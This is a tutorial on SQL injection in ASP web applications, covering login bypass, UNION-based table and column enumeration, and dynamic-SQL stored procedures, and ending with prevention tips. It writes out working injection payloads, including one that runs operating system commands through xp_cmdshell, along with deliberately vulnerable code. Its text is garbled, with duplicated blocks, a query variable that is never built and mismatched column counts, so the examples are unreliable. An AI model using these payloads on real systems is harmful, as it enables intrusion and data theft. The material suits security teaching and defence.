SQL INJECTION IN WEB APPLICATION

What is SQL Injection?

SQL injection is the manipulation of SQL code that will be sent to the database. It is

possible in web-based applications that form dynamic SQL statements for retrieving data

from the database. The hacker appends executable code to a text field that provides input

for a query. This could allow the hacker obtain information from the database other than

what was intended by the web application.

SQL Injection Techniques

• Bypassing Authorization

• Using the SELECT & UNION statements

• Using SQL server stored procedures.

Bypassing Authorization :

The easiest SQL injection is to bypass the logon forms where the user is authenticated

against a password supplied by the user. This is how login form looks like

Login Name:

Password:

SUBMIT

And this how the authorization script in the web page will look like:

txtuser = request (“User”)

txtpassword = request (“Password”)

set conn = Server.CreateObject (“ADODB.Connection”)

set rs = Server.CreateObject (“ADODB.Recordset”)

Conn.open dsn

set conn = Server.CreateObject (“ADODB.Connection”)

set rs = Server.CreateObject (“ADODB.Recordset”)

Conn.open dsn

Rs.open SQLQuery, Conn

If rs.eof and rs.bof then

‘Access Denied

Else

‘Access Allowed

End if

To bypass this authorization, the user will have to enter the following:

Login Name:

’or‘1’=‘1

Password: test

SUBMIT

The query is built using server-side script languages such as ASP, JSP and CGI, and is

then sent to the database server as a single SQL statement. The SQL query that will be

sent to the database will look like:

Select * from users where password = ‘test’ and user = ‘’ or ‘1’=’1’

This SQL query will go through without any errors and will return a record set. So the

hacker can login and get access to other web pages and more importantly the database.

SELECT and UNION Statements:

Most web applications will retrieve data from the database using a SELECT statement

with a WHERE clause. To make a server return records other than those intended, the

WHERE clause should be modified by injecting a UNION SELECT.

Let us consider a web page that returns employee information when a city is entered. The

SQL query in the web page will look like this

SELECT first_name, last_name, designation FROM company WHERE city =

‘” & txtcity & “’”

SELECT first_name, last_name, designation FROM company WHERE city =

‘” & txtcity & “’”

he can gather this information. The tables are sysobjects for the table names and

syscolumns for the fields.

To make a UNION statement successful, the number of columns in the two SELECT

statement and their field types should match. The following injection string can be used:

’ UNION ALL SELECT name, ‘2’ FROM sysobjects WHERE xtype = ‘X

The SQL query that will be formed will look like this:

SELECT first_name, last_name, designation, phone_no FROM company

WHERE city = ‘’ UNION ALL SELECT name, id, ‘2’ FROM sysobjects WHERE

xtype = ‘X’

Error messages are very important for a successful attack. The error from the server is

Server: Msg 205, Level 16, State 1, Line 1

All queries in an SQL statement containing a UNION operator must have an

equal number of expressions in their target lists.

The user can add another field so that the SQL query passed to the database will be:

SELECT first_name, last_name, designation, phone_no FROM company

WHERE city = ‘’ UNION ALL SELECT name, id, ‘2’, ‘2’ FROM sysobjects

WHERE xtype = ‘X’

Since the number of columns in the two SELECT statements match and the column type

matches, the attacker will get a valid output which will lists all the tables in the database

with their ID number. He can select one such table and its corresponding ID and form

another SQL injection string:

’ UNION ALL SELECT name, ‘2’, ‘2’, ‘2’ FROM syscolumns WHERE id = ‘12223

The SQL query that will be executed on the server will be:

SELECT first_name, last_name, designation, phone_no FROM employees

WHERE city = ‘’ UNION ALL SELECT name, ‘2’, ‘2’, ‘2’ FROM syscolumns

WHERE id = ‘12223’

The user gets all the fields of the table; he can then extract any information from the table

using the same procedure.

The user gets all the fields of the table; he can then extract any information from the table

using the same procedure.

Stored Procedures:

If the ASP page uses stored procedures and the user-supplied parameters are passed to a

stored procedure, then SQL injection is typically impossible because the user simply adds

characters that are meaningless to the string. However, if dynamic SQL is used in the

stored procedure, it would end up reintroducing SQL injection.

---Not vulnerable to SQL injection

CREATE PROC author_name_get

@city varchar (50)

AS

BEGIN

SELECT last_name, first_name FROM authors

WHERE city = @city

END

---Vulnerable to SQL injection

CREATE proc rc_test

@city varchar(50)

AS

BEGIN

DECLARE @cmd nvarchar(500)

SET @city = replace(@city, '''', '''''')

SET @cmd = 'SELECT last_name, first_name FROM authors where

city=''' + @city + ''''

EXEC (@cmd)

RETURN

END

The attacker can also take advantage of system supplied stored procedures such as the

xp_cmdshell which executes operating system commands in the context of the Microsoft

SQL server. He can use the following injection string and can get the list of files in the

current directory of the SQL process.

' EXEC master..xp_cmdshell dir - -'

Preventing SQL injection:

• Input validation with parameter filtering and sizing; and detection of SQL

signatures like UNION SELECT & XP_CMDSHELL

• Stored procedures without any dynamic SQL embedded in it.

• Providing limited database access to the user.

• Restricting error messages from appearing on the screen by using error handlers.